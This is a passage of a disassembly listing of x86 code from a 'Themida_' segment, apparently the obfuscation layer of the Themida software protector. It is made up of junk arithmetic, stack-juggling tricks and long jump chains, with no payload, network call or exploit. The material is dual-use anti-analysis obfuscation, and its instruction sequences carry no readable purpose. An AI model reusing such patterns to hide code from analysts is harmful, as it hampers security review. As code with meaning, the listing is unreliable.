add dword ptr [esp+4], 55B54BC8h
add dword ptr [esp+4], 14CC38DAh
pop ebx
jmp loc_554B3A
; ---------------------------------------------------------------------------
db 8Bh, 4, 24h
dd 0FFEA39E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5598D1: ; CODE XREF: Themida_:0055410Cj
push eax
mov eax, 3EEB4F35h
or eax, 68481F30h
push edx
mov edx, 36E21332h
inc edx
inc edx
xor edx, 6DA761Dh
jmp loc_5574B8
; ---------------------------------------------------------------------------
loc_5598EF: ; CODE XREF: Themida_:00555CFCj
add edi, 4
xchg edi, [esp]
pop esp
add eax, 4
push ebx
mov ebx, 2
add eax, ebx
pop ebx
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
or [esp], ax
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_55991D: ; CODE XREF: Themida_:00551992j
xor ecx, 430A29DBh
push eax
mov eax, 3A901E5Ch
xor ecx, eax
pop eax
neg ecx
push eax
mov eax, 0AC523D2h
add ecx, eax
pop eax
sub ebx, ecx
mov ecx, [esp]
jmp loc_55115E
; ---------------------------------------------------------------------------
loc_559941: ; CODE XREF: Themida_:00553D65j
add ebp, edi
pop edi
push eax
jmp loc_55AA47
; ---------------------------------------------------------------------------
loc_55994A: ; CODE XREF: Themida_:0055A8DCj
add dword ptr [esp], 4
pop edi
sub esp, 4
mov [esp], eax
push 4
pop eax
sub edi, 5FE4430Bh
add edi, eax
add edi, 5FE4430Bh
pop eax
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
jmp loc_557420
; ---------------------------------------------------------------------------
loc_559981: ; CODE XREF: Themida_:00556F64j
mov [esp], eax
mov al, 0FAh
push cx
mov ch, 0EAh
jmp loc_552412
; ---------------------------------------------------------------------------
loc_55998F: ; CODE XREF: Themida_:00551B4Bj
push ecx
jmp loc_559F6E
; ---------------------------------------------------------------------------
loc_559995: ; CODE XREF: Themida_:00559875j
xchg ebx, [esp]
mov esp, [esp]
push 21C0h
jmp loc_54F60D
; ---------------------------------------------------------------------------
loc_5599A5: ; CODE XREF: Themida_:00550BEBj
mul cx
push small 2001h
mov [esp], dx
push ax
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_5599B8: ; CODE XREF: Themida_:0055031Cj
add esp, 4
jmp loc_553BB0
; ---------------------------------------------------------------------------
loc_5599C0: ; CODE XREF: Themida_:00557DD6j
add ebx, esi
pop esi
push edi
mov edi, 4
add ebx, 0D745BB0h
add ebx, edi
sub ebx, 0D745BB0h
pop edi
jmp loc_55847A
; ---------------------------------------------------------------------------
loc_5599DD: ; CODE XREF: Themida_:00559105j
mov [esp], ebx
push 2A454DF5h
jmp loc_55B07C
; ---------------------------------------------------------------------------
loc_5599EA: ; CODE XREF: Themida_:0054EE2Fj
mov ebx, [esp]
add esp, 4
sub dword ptr [esp+4], 3DC9698Bh
push esi
mov esi, 47B93A20h
sub [esp+8], esi
mov esi, [esp]
add esp, 4
mov eax, [esp]
add esp, 4
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_559A16: ; CODE XREF: Themida_:0055A414j
mov [esp], ebp
mov ebp, 4E8E04C7h
jmp loc_551F7D
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebp
jmp loc_554CAC
; ---------------------------------------------------------------------------
loc_559A2D: ; CODE XREF: Themida_:005507C6j
sub esp, 4
mov [esp], eax
mov eax, esp
jmp loc_5504AE
; ---------------------------------------------------------------------------
loc_559A3A: ; CODE XREF: Themida_:00559B4Bj
pop esp
jmp loc_556AD2
; ---------------------------------------------------------------------------
loc_559A40: ; CODE XREF: Themida_:005536A9j
mov ebx, 4
jmp loc_55A271
; ---------------------------------------------------------------------------
loc_559A4A: ; CODE XREF: Themida_:0055B0C4j
inc dword ptr [esp]
push dword ptr [esp]
pop ebp
add esp, 4
xor [edi+24h], ebp
xor ebp, [edi+24h]
push ecx
mov ecx, 24h
add ecx, edi
xor [ecx], ebp
pop ecx
loc_559A65: ; CODE XREF: Themida_:0055ABDAj
push 72FFh
jmp loc_55A294
; ---------------------------------------------------------------------------
loc_559A6F: ; CODE XREF: Themida_:005528F6j
mov esp, [esp]
jmp loc_55286B
; ---------------------------------------------------------------------------
loc_559A77: ; CODE XREF: Themida_:00553379j
mov esp, [esp]
jmp loc_552B29
; ---------------------------------------------------------------------------
loc_559A7F: ; CODE XREF: Themida_:00551124j
mov edi, 2
jmp loc_552F4C
; ---------------------------------------------------------------------------
loc_559A89: ; CODE XREF: Themida_:0055A3A0j
add edi, ebx
pop ebx
add edi, 2
xchg edi, [esp]
jmp loc_5501E2
; ---------------------------------------------------------------------------
loc_559A9A: ; CODE XREF: Themida_:0055569Bj
pop ebx
push 3088h
mov [esp], ebx
mov bl, 0DFh
jmp loc_55977F
; ---------------------------------------------------------------------------
loc_559AAA: ; CODE XREF: Themida_:00555748j
sub al, 0D9h
inc al
jmp loc_54EC49
; ---------------------------------------------------------------------------
loc_559AB3: ; CODE XREF: Themida_:00555232j
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
jmp loc_54F416
; ---------------------------------------------------------------------------
loc_559AC1: ; CODE XREF: Themida_:00550119j
mov edi, 68E40339h
add edi, 971BFCCBh
add eax, 7BB42A4Fh
add eax, edi
sub eax, 7BB42A4Fh
pop edi
add eax, 2
sub esp, 4
mov [esp], eax
push dword ptr [esp+4]
mov eax, [esp]
push edi
mov edi, esp
add edi, 4
push ebx
push ebp
mov ebp, 7D751E35h
mov ebx, 7D751E39h
sub ebx, ebp
pop ebp
add edi, ebx
jmp loc_551BC7
; ---------------------------------------------------------------------------
loc_559B0B: ; CODE XREF: Themida_:005568F6j
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_559B23: ; CODE XREF: Themida_:00559545j
push eax
mov eax, 217E7926h
shr eax, 1
shr eax, 5
jmp loc_556E78
; ---------------------------------------------------------------------------
loc_559B33: ; CODE XREF: Themida_:00558EE6j
pop esp
mov eax, [esp]
push 5E9Dh
mov [esp], ebp
push esp
mov ebp, [esp]
jmp loc_559C96
; ---------------------------------------------------------------------------
loc_559B48: ; CODE XREF: Themida_:0055380Dj
xchg eax, [esp]
jmp loc_559A3A
; ---------------------------------------------------------------------------
loc_559B50: ; CODE XREF: Themida_:00557618j
mov [esp], edi
jmp loc_559FC9
; ---------------------------------------------------------------------------
loc_559B58: ; CODE XREF: Themida_:00557D17j
sub al, 0C9h
sub al, 0F9h
add al, 0CAh
jmp loc_55782C
; ---------------------------------------------------------------------------
loc_559B63: ; CODE XREF: Themida_:0055ABA0j
push 2F85h
mov [esp], ebx
mov ebx, esp
add ebx, 4
push 14CBh
jmp loc_5595E3
; ---------------------------------------------------------------------------
loc_559B7D: ; CODE XREF: Themida_:00554B0Bj
sub ebp, 789F71CBh
add ecx, ebp
pop ebp
jmp loc_551063
; ---------------------------------------------------------------------------
loc_559B8B: ; CODE XREF: Themida_:005539C2j
pop ebp
jmp loc_558A80
; ---------------------------------------------------------------------------
loc_559B91: ; CODE XREF: Themida_:005504A3j
mov dl, cl
jmp loc_550A08
; ---------------------------------------------------------------------------
loc_559B98: ; CODE XREF: Themida_:0054EC3Dj
push 2239h
mov [esp], esi
mov esi, 4
jmp loc_553C56
; ---------------------------------------------------------------------------
loc_559BAA: ; CODE XREF: Themida_:0054FBA4j
push 311Fh
mov [esp], eax
jmp loc_556829
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_553E81
; ---------------------------------------------------------------------------
loc_559BC0: ; CODE XREF: Themida_:00555AFCj
push dword ptr [esp]
pop esi
add esp, 4
and eax, ecx
mov ecx, [esp]
add esp, 4
shr eax, 0Bh
xor ecx, eax
sub esp, 4
jmp loc_552657
; ---------------------------------------------------------------------------
loc_559BDC: ; CODE XREF: Themida_:0054F51Aj
add esp, 4
jmp loc_551CB3
; ---------------------------------------------------------------------------
loc_559BE7: ; CODE XREF: Themida_:0055B229j
pop ebp
push edx
mov edx, 3FFC7C64h
jmp loc_557ED6
; ---------------------------------------------------------------------------
loc_559BF3: ; CODE XREF: Themida_:005576C4j
pop esp
mov [esp], edx
push eax
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_559BFE: ; CODE XREF: Themida_:00559885j
mov [esp], ebp
jmp loc_550FAD
; ---------------------------------------------------------------------------
loc_559C06: ; CODE XREF: Themida_:0055AE78j
xor eax, esi
push dword ptr [esp]
pop esi
add esp, 4
push ecx
push esi
mov esi, 23962781h
push esi
jmp loc_5565AD
; ---------------------------------------------------------------------------
loc_559C1C: ; CODE XREF: Themida_:00551334j
mov esi, 2
mov ebx, esi
pop esi
add ecx, ebx
pop ebx
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_5520FB
; ---------------------------------------------------------------------------
loc_559C35: ; CODE XREF: Themida_:0055636Cj
and ecx, edx
mov edx, [esp]
add esp, 4
sub ecx, 13AA0440h
and eax, ecx
jmp loc_559D00
; ---------------------------------------------------------------------------
loc_559C4D: ; CODE XREF: Themida_:00556CE6j
shr edx, 8
and edx, 176C086Fh
inc edx
push ebx
mov ebx, 480864h
sub edx, ebx
pop ebx
add esi, edx
mov edx, [esp]
add esp, 4
xchg esi, [esp]
mov esp, [esp]
bt [esp], ax
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_559C7C: ; CODE XREF: Themida_:005559EEj
mov [esp], ecx
push ebp
jmp loc_552E2D
; ---------------------------------------------------------------------------
loc_559C85: ; CODE XREF: Themida_:00550E61j
mov esp, [esp]
jmp loc_550753
; ---------------------------------------------------------------------------
loc_559C8D: ; CODE XREF: Themida_:0055A870j
mov [esp], edx
push ebx
jmp loc_553745
; ---------------------------------------------------------------------------
loc_559C96: ; CODE XREF: Themida_:00559B43j
push ebx
jmp loc_54F588
; ---------------------------------------------------------------------------
loc_559C9C: ; CODE XREF: Themida_:00555898j
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_559CA1: ; CODE XREF: Themida_:0055AE99j
add esp, 4
add esp, 4
and eax, ecx
push dword ptr [esp]
mov ecx, [esp]
jmp loc_551547
; ---------------------------------------------------------------------------
loc_559CB4: ; CODE XREF: Themida_:00554501j
pop eax
add edx, 5834861h
add edx, edi
push ecx
mov ecx, 5834861h
sub edx, ecx
pop ecx
jmp loc_558E67
; ---------------------------------------------------------------------------
loc_559CCB: ; CODE XREF: Themida_:00550570j
pop esp
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push esi
mov esi, esp
jmp loc_5544D0
; ---------------------------------------------------------------------------
loc_559CDD: ; CODE XREF: Themida_:005566F6j
xor esi, [esp]
jmp loc_55B212
; ---------------------------------------------------------------------------
loc_559CE5: ; CODE XREF: Themida_:00559D9Ej
mov cl, 0Dh
xor ah, cl
pop ecx
xor ah, 23h
jmp loc_553D74
; ---------------------------------------------------------------------------
loc_559CF2: ; CODE XREF: Themida_:0055274Aj
push esi
mov esi, esp
add esi, 4
jmp loc_54F443
; ---------------------------------------------------------------------------
loc_559D00: ; CODE XREF: Themida_:00559C48j
mov ecx, [esp]
add esp, 4
jmp loc_55A757
; ---------------------------------------------------------------------------
loc_559D0B: ; CODE XREF: Themida_:005555AFj
add esp, 4
not edi
push eax
mov eax, 699F1868h
or edi, eax
pop eax
sub edi, 66451F0Dh
sub edi, 95927C6Dh
sub esp, 4
mov [esp], edi
pop ebx
push dword ptr [esp]
pop edi
push edi
mov edi, esp
jmp loc_55ABC2
; ---------------------------------------------------------------------------
loc_559D3B: ; CODE XREF: Themida_:00558E13j
xor ch, al
sub al, 1
xchg al, ch
jmp loc_5521AF
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push ebx
mov ebx, esp
jmp loc_555E48
; ---------------------------------------------------------------------------
mov ax, [esp]
push 3FD7h
jmp loc_54FC63
; ---------------------------------------------------------------------------
loc_559D60: ; CODE XREF: Themida_:0054F55Ej
sub esp, 4
mov [esp], edi
push esp
jmp loc_559218
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push ebp
push esp
jmp loc_550A75
; ---------------------------------------------------------------------------
loc_559D76: ; CODE XREF: Themida_:00555095j
sub edi, 1
shl edi, 3
add edi, 0A3328959h
sub ebp, edi
pop edi
push ebp
mov edx, [esp]
add esp, 4
pop ebp
push ebx
mov ebx, 0C41F4B4h
xor edx, ebx
pop ebx
jmp loc_559DAE
; ---------------------------------------------------------------------------
loc_559D9B: ; CODE XREF: Themida_:005577B6j
mov [esp], ecx
jmp loc_559CE5
; ---------------------------------------------------------------------------
loc_559DA3: ; CODE XREF: Themida_:00557D10j
mov ebx, [esp]
push edi
mov edi, esp
jmp loc_553973
; ---------------------------------------------------------------------------
loc_559DAE: ; CODE XREF: Themida_:00559D96j
xor eax, edx
pop edx
push 3B04h
mov [esp], ebp
jmp loc_557613
; ---------------------------------------------------------------------------
loc_559DBE: ; CODE XREF: Themida_:00556A1Ej
inc ch
shr ch, 4
sub ch, 15h
mov dl, ch
pop ecx
jmp loc_55AE59
; ---------------------------------------------------------------------------
loc_559DCE: ; CODE XREF: Themida_:00555A77j
push ecx
push esp
jmp loc_5572FA
; ---------------------------------------------------------------------------
loc_559DD5: ; CODE XREF: Themida_:00554915j
add eax, 10CB210Fh
add eax, esi
sub eax, 10CB210Fh
mov esi, [esp]
add esp, 4
jmp loc_553291
; ---------------------------------------------------------------------------
loc_559DEC: ; CODE XREF: Themida_:0054FEECj
push 0
jmp loc_5581FF
; ---------------------------------------------------------------------------
loc_559DF6: ; CODE XREF: Themida_:00554D5Dj
push ecx
jmp loc_55916F
; ---------------------------------------------------------------------------
loc_559DFC: ; CODE XREF: Themida_:005563C3j
add ebx, 4
jmp loc_551B27
; ---------------------------------------------------------------------------
loc_559E07: ; CODE XREF: Themida_:0055449Ej
add ebp, 4
add ebp, 4
jmp loc_55A7D7
; ---------------------------------------------------------------------------
loc_559E18: ; CODE XREF: Themida_:00556B31j
push esi
mov esi, esp
jmp loc_5566ED
; ---------------------------------------------------------------------------
loc_559E20: ; CODE XREF: Themida_:0055211Dj
add bl, al
push ecx
jmp loc_5545EF
; ---------------------------------------------------------------------------
loc_559E28: ; CODE XREF: Themida_:00553889j
add al, ch
jmp loc_54EB39
; ---------------------------------------------------------------------------
loc_559E2F: ; CODE XREF: Themida_:00557ABAj
mov ecx, esp
add ecx, 4
push esi
mov esi, 4
add ecx, esi
jmp loc_558C43
; ---------------------------------------------------------------------------
loc_559E44: ; CODE XREF: Themida_:0055728Dj
mov edi, edx
pop edx
mov ecx, 75374A50h
xor ecx, edi
pop edi
add ecx, 15F23FD6h
sub ecx, 452A7FD5h
add ecx, edx
jmp loc_553E3C
; ---------------------------------------------------------------------------
loc_559E62: ; CODE XREF: Themida_:0055A10Cj
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_559E67: ; CODE XREF: Themida_:0054EDE7j
sub eax, edi
mov edi, [esp]
add esp, 4
sub eax, 60EC4B48h
and eax, 454B5F62h
sub eax, 1415500h
sub edi, 72F00A32h
jmp loc_556BEC
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebx
push esp
pop ebx
jmp loc_554E27
; ---------------------------------------------------------------------------
loc_559E98: ; CODE XREF: Themida_:0055497Fj
add ebp, esi
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_55543D
; ---------------------------------------------------------------------------
loc_559EA9: ; CODE XREF: Themida_:005561FCj
mov esi, [esp]
jmp loc_550F8E
; ---------------------------------------------------------------------------
loc_559EB1: ; CODE XREF: Themida_:00552AA6j
push edi
push ebp
mov ebp, 1A077BCEh
jmp loc_55AE1C
; ---------------------------------------------------------------------------
loc_559EBD: ; CODE XREF: Themida_:00551778j
push 344F79FAh
pop ebx
add ebx, 3D81D85Fh
jmp loc_556C41
; ---------------------------------------------------------------------------
loc_559ECE: ; CODE XREF: Themida_:005596AEj
push 4AC7h
mov [esp], edx
mov dl, 0E5h
push ebx
mov bl, 5Fh
add bl, 0E2h
sub bl, 99h
not bl
push edx
jmp loc_55725B
; ---------------------------------------------------------------------------
loc_559EE9: ; CODE XREF: Themida_:005533DDj
mov bl, al
jmp loc_5503C9
; ---------------------------------------------------------------------------
loc_559EF0: ; CODE XREF: Themida_:005535EEj
pop ebx
and ebx, 42330F7Ah
jmp loc_558EF8
; ---------------------------------------------------------------------------
loc_559EFC: ; CODE XREF: Themida_:00556D8Cj
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_559F01: ; CODE XREF: Themida_:0054ECF1j
mov [esp], ebp
mov ebp, 1
push ecx
push ebp
jmp loc_55693F
; ---------------------------------------------------------------------------
loc_559F10: ; CODE XREF: Themida_:005519B8j
or edx, 23490531h
push ebx
jmp loc_552879
; ---------------------------------------------------------------------------
loc_559F1C: ; CODE XREF: Themida_:00553A9Bj
pop esi
xchg ecx, [esp]
mov esp, [esp]
push ebx
mov ebx, esp
jmp loc_55212D
; ---------------------------------------------------------------------------
loc_559F2B: ; CODE XREF: Themida_:00552DD2j
dec ebp
dec ebp
inc ebp
add ebp, 246D7ECAh
jmp loc_553BFA
; ---------------------------------------------------------------------------
loc_559F39: ; CODE XREF: Themida_:00550FF1j
sub bl, 0CAh
jmp loc_55957C
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_54FE2F
; ---------------------------------------------------------------------------
loc_559F50: ; CODE XREF: Themida_:00554E10j
mul ecx
push 2E57h
mov [esp], edx
push eax
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_559F61: ; CODE XREF: Themida_:00551A59j
mov edi, esp
add edi, 4
jmp loc_55835F
; ---------------------------------------------------------------------------
loc_559F6E: ; CODE XREF: Themida_:00559990j
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
or [edi+1Ch], esi
push dword ptr [esp]
mov esi, [esp]
add esp, 4
push esi
mov esi, esp
add esi, 4
push edi
jmp loc_54F280
; ---------------------------------------------------------------------------
loc_559F9B: ; CODE XREF: Themida_:00555A1Ej
mov ebx, esp
add ebx, 4
jmp loc_558529
; ---------------------------------------------------------------------------
loc_559FA8: ; CODE XREF: Themida_:005519CDj
pop ebx
jmp loc_5544FF
; ---------------------------------------------------------------------------
loc_559FAE: ; CODE XREF: Themida_:0055A488j
push esi
mov esi, 70434958h
neg esi
and esi, 0C546BBFh
sub esi, 5A397721h
not esi
jmp loc_5521EC
; ---------------------------------------------------------------------------
loc_559FC9: ; CODE XREF: Themida_:00559B53j
mov edi, 295F549Ch
xchg ebp, edi
dec ebp
xchg ebp, edi
dec edi
not edi
push ebx
mov ebx, 29D3620h
and ebx, 31650989h
and ebx, 7EFD1D37h
and ebx, 73A3153Ah
add ebx, 59AD4A2Eh
add edi, ebx
pop ebx
push edx
mov edx, esp
jmp loc_5593C3
; ---------------------------------------------------------------------------
push dword ptr [edx]
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_55A006: ; CODE XREF: Themida_:00557AA5j
pop bx
jmp loc_55A799
; ---------------------------------------------------------------------------
loc_55A00D: ; CODE XREF: Themida_:0054F52Cj
xor dword ptr [esp], 332A2154h
mov edi, [esp]
add esp, 4
xor edi, 332A2154h
pop esi
add ebx, 182846DFh
add ebx, edi
sub ebx, 182846DFh
pop edi
sub esp, 4
mov [esp], ecx
push edi
jmp loc_5579CE
; ---------------------------------------------------------------------------
loc_55A03C: ; CODE XREF: Themida_:0055345Cj
mov [esp], esp
add dword ptr [esp], 4
pop ebx
push edi
jmp loc_54EAAB
; ---------------------------------------------------------------------------
loc_55A04D: ; CODE XREF: Themida_:00553868j
xor ebp, 4A034EBCh
push ebx
push esi
mov esi, 729E2C72h
mov ebx, 3D5B6158h
xor ebx, esi
pop esi
xor ebx, 92F5DA22h
jmp loc_55058C
; ---------------------------------------------------------------------------
loc_55A06D: ; CODE XREF: Themida_:00558AEFj
inc cl
or cl, 72h
shl cl, 7
neg cl
jmp loc_55001F
; ---------------------------------------------------------------------------
loc_55A07C: ; CODE XREF: Themida_:005521A0j
xor esi, 52B5BBBh
jmp loc_557C6F
; ---------------------------------------------------------------------------
loc_55A087: ; CODE XREF: Themida_:005505DDj
push edx
mov edx, 4
jmp loc_5567FD
; ---------------------------------------------------------------------------
loc_55A092: ; CODE XREF: Themida_:005531FBj
xor edx, 1D6E01CDh
add edx, 19D5094Bh
shl edx, 8
neg edx
jmp loc_550D7A
; ---------------------------------------------------------------------------
loc_55A0A8: ; CODE XREF: Themida_:00557A2Ej
not cl
push eax
mov al, cl
neg al
mov cl, al
pop eax
jmp loc_54FF40
; ---------------------------------------------------------------------------
loc_55A0B7: ; CODE XREF: Themida_:00555F8Dj
not ecx
xchg ecx, ebx
neg ebx
inc ebx
xor ebx, 0C8C40943h
mov edx, ebx
mov ebx, [esp]
add esp, 4
push ebx
jmp loc_551818
; ---------------------------------------------------------------------------
loc_55A0D2: ; CODE XREF: Themida_:00553BF5j
pop esi
dec edx
sub edx, 1EE2282Bh
sub ecx, edx
pop edx
xchg ecx, [esp]
jmp loc_555BB7
; ---------------------------------------------------------------------------
mov sp, [esp]
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_55A0EE: ; CODE XREF: Themida_:00553620j
shr ch, 8
jmp loc_54F54F
; ---------------------------------------------------------------------------
loc_55A0F6: ; CODE XREF: Themida_:0054EF55j
push ebx
jmp loc_55778D
; ---------------------------------------------------------------------------
loc_55A0FC: ; CODE XREF: Themida_:0055641Ej
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_559E62
; ---------------------------------------------------------------------------
loc_55A111: ; CODE XREF: Themida_:00556ACDj
not esi
not esi
xor esi, 1E3B503Ch
not esi
jmp loc_54F1E7
; ---------------------------------------------------------------------------
loc_55A122: ; CODE XREF: Themida_:00557B9Bj
push ecx
push esp
jmp loc_54F17C
; ---------------------------------------------------------------------------
loc_55A129: ; CODE XREF: Themida_:0054FBD1j
mov bl, 0C3h
add bl, 43h
shr bl, 1
sub bl, 9Eh
shr bl, 3
not bl
add bl, 0ADh
or dl, bl
pop ebx
neg dl
push ecx
mov cl, 1Dh
jmp loc_55A85B
; ---------------------------------------------------------------------------
loc_55A148: ; CODE XREF: Themida_:0054EBD1j
sub edi, ecx
sub edi, 28132ED0h
pop ecx
mov ebp, edi
pop edi
sub ebp, 79831865h
xor ebp, 77F33B8Ah
add ebp, 6701D7C4h
add eax, ebp
mov ebp, [esp]
add esp, 4
jmp loc_5593D5
; ---------------------------------------------------------------------------
loc_55A173: ; CODE XREF: Themida_:0055567Fj
inc dh
neg dh
inc dh
push eax
mov al, 8Eh
sub al, 10h
shl al, 2
shr al, 5
add al, 0B2h
add al, 0E6h
xor al, 9Dh
or dh, al
pop eax
xor dh, 0A1h
jmp loc_553CDD
; ---------------------------------------------------------------------------
loc_55A195: ; CODE XREF: Themida_:0055AE7Fj
sub esi, 0B080E6DBh
sub edx, esi
jmp loc_553EA3
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov edx, [esp]
jmp loc_54EFA8
; ---------------------------------------------------------------------------
loc_55A1AD: ; CODE XREF: Themida_:005514BFj
push esi
xor dword ptr [esp], 5EDE3BB6h
jmp loc_5561F1
; ---------------------------------------------------------------------------
loc_55A1BA: ; CODE XREF: Themida_:0055AD0Dj
sub ebx, 43453D39h
jmp loc_5578A6
; ---------------------------------------------------------------------------
loc_55A1C5: ; CODE XREF: Themida_:005578A1j
and ebp, 18DA0304h
jmp loc_551359
; ---------------------------------------------------------------------------
loc_55A1D0: ; CODE XREF: Themida_:00554D3Dj
xchg esi, [esp]
pop esp
mov [esp], ecx
jmp loc_55A723
; ---------------------------------------------------------------------------
loc_55A1DC: ; CODE XREF: Themida_:00555191j
mov ebx, eax
mov edi, ebx
pop ebx
pop eax
jmp loc_5562B9
; ---------------------------------------------------------------------------
pop dword ptr [edx]
jmp loc_554E55
; ---------------------------------------------------------------------------
loc_55A1EE: ; CODE XREF: Themida_:00550B63j
push dword ptr [esp]
mov esi, [esp]
add esp, 4
push edi
mov edi, esp
add edi, 4
jmp loc_5544A3
; ---------------------------------------------------------------------------
loc_55A208: ; CODE XREF: Themida_:0055132Ej
pop ebx
sub ecx, 0AC40493Ch
mov ebx, ecx
jmp loc_54F138
; ---------------------------------------------------------------------------
loc_55A216: ; CODE XREF: Themida_:00557641j
xchg edi, [esp]
mov esp, [esp]
mov [esp], esi
mov esi, 4
jmp loc_550D6A
; ---------------------------------------------------------------------------
loc_55A229: ; CODE XREF: Themida_:00552859j
push ebx
mov ebx, 5F52580Bh
not ebx
push ebx
not dword ptr [esp]
pop ebx
and ebx, 116354A4h
not ebx
add ebx, 11425005h
add edi, ebx
pop ebx
jmp loc_54F0A5
; ---------------------------------------------------------------------------
loc_55A24C: ; CODE XREF: Themida_:005535E3j
xchg ecx, [esp]
jmp loc_5538C5
; ---------------------------------------------------------------------------
loc_55A254: ; CODE XREF: Themida_:00558288j
pop ecx
sub esi, 221F2D3Bh
not esi
jmp loc_55A951
; ---------------------------------------------------------------------------
loc_55A262: ; CODE XREF: Themida_:00554FE1j
xor ebp, ecx
jmp loc_54FDC8
; ---------------------------------------------------------------------------
loc_55A269: ; CODE XREF: Themida_:00555BE9j
sub esp, 4
jmp loc_552AD7
; ---------------------------------------------------------------------------
loc_55A271: ; CODE XREF: Themida_:00559A45j
add ecx, 21162888h
jmp loc_5591B5
; ---------------------------------------------------------------------------
loc_55A27C: ; CODE XREF: Themida_:00557395j
mov ebp, [esp]
push 36C1h
mov [esp], ecx
mov ecx, esp
push edx
mov edx, 4
jmp loc_55A303
; ---------------------------------------------------------------------------
loc_55A294: ; CODE XREF: Themida_:00559A6Aj
mov [esp], ebx
sub dword ptr [esp], 0FDB3F03h
mov eax, [esp]
jmp loc_550955
; ---------------------------------------------------------------------------
loc_55A2A6: ; CODE XREF: Themida_:0054FD55j
push 0C40h
jmp loc_555A23
; ---------------------------------------------------------------------------
loc_55A2B0: ; CODE XREF: Themida_:005589A1j
push esi
push 42B8688Ah
push dword ptr [esp]
pop esi
add esp, 4
shr esi, 4
jmp loc_556704
; ---------------------------------------------------------------------------
loc_55A2C8: ; CODE XREF: Themida_:00557D4Fj
inc ebx
push ebp
mov ebp, 869AFBCh
jmp loc_54F84F
; ---------------------------------------------------------------------------
loc_55A2D4: ; CODE XREF: Themida_:00552050j
push cx
mov ch, 62h
xor ah, ch
pop cx
push ecx
mov ch, 0D4h
neg ch
xor ch, 30h
add ah, ch
pop ecx
jmp loc_555E07
; ---------------------------------------------------------------------------
loc_55A2EC: ; CODE XREF: Themida_:005570BDj
pop ebp
shl esi, 5
shl esi, 3
not esi
add esi, 72602C05h
add eax, esi
pop esi
jmp loc_557C3F
; ---------------------------------------------------------------------------
loc_55A303: ; CODE XREF: Themida_:0055A28Fj
add ecx, edx
pop edx
push edx
mov edx, 4
sub ecx, 4DBC70A7h
add ecx, edx
add ecx, 4DBC70A7h
jmp loc_559711
; ---------------------------------------------------------------------------
loc_55A31F: ; CODE XREF: Themida_:005596F2j
add edx, eax
pop eax
jmp loc_54FA03
; ---------------------------------------------------------------------------
loc_55A327: ; CODE XREF: Themida_:00557FD2j
add ebp, eax
pop eax
xor ebp, 2D26F6E5h
add ecx, ebp
pop ebp
push ebx
mov ebx, 4
sub ecx, ebx
pop ebx
xchg ecx, [esp]
pop esp
mov [esp], edi
jmp loc_556F85
; ---------------------------------------------------------------------------
loc_55A348: ; CODE XREF: Themida_:00553488j
mov ebp, esp
add ebp, 4
jmp loc_557AAA
; ---------------------------------------------------------------------------
loc_55A355: ; CODE XREF: Themida_:0055A3CDj
push esi
mov esi, 0C520C56Ch
xor ebx, esi
pop esi
jmp loc_558799
; ---------------------------------------------------------------------------
loc_55A363: ; CODE XREF: Themida_:00553860j
or dl, ch
mov ecx, [esp]
add esp, 4
dec dl
xor dl, 31h
add al, 12h
sub al, dl
sub al, 12h
pop edx
push ecx
jmp loc_5502FA
; ---------------------------------------------------------------------------
loc_55A380: ; CODE XREF: Themida_:00550FD5j
add eax, 58BB44EFh
pop ecx
push 1281h
jmp loc_55A979
; ---------------------------------------------------------------------------
loc_55A390: ; CODE XREF: Themida_:00557408j
mov eax, 0E570692h
jmp loc_553EC8
; ---------------------------------------------------------------------------
loc_55A39A: ; CODE XREF: Themida_:0054F7A3j
push ebx
mov ebx, 4
jmp loc_559A89
; ---------------------------------------------------------------------------
loc_55A3A5: ; CODE XREF: Themida_:00558794j
push eax
jmp loc_54F295
; ---------------------------------------------------------------------------
loc_55A3AB: ; CODE XREF: Themida_:0054F435j
pop esi
xchg edx, [esp]
jmp loc_555D52
; ---------------------------------------------------------------------------
loc_55A3B4: ; CODE XREF: Themida_:0055862Aj
sub [esp], cl
mov cl, [esp]
sub esp, 4
mov [esp], eax
jmp loc_5571F3
; ---------------------------------------------------------------------------
loc_55A3C5: ; CODE XREF: Themida_:0055779Ej
add ebx, 27E101AFh
not ebx
jmp loc_55A355
; ---------------------------------------------------------------------------
loc_55A3D2: ; CODE XREF: Themida_:0055978Bj
add bl, ch
jmp loc_555734
; ---------------------------------------------------------------------------
loc_55A3D9: ; CODE XREF: Themida_:0055416Cj
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
jmp loc_55238C
; ---------------------------------------------------------------------------
loc_55A3E6: ; CODE XREF: Themida_:00554668j
add eax, 4
jmp loc_5531C8
; ---------------------------------------------------------------------------
loc_55A3F0: ; CODE XREF: Themida_:00558BDDj
shr ebx, 8
jmp loc_551CBB
; ---------------------------------------------------------------------------
push ebx
push 0AE4h
mov [esp], edx
jmp loc_5553B4
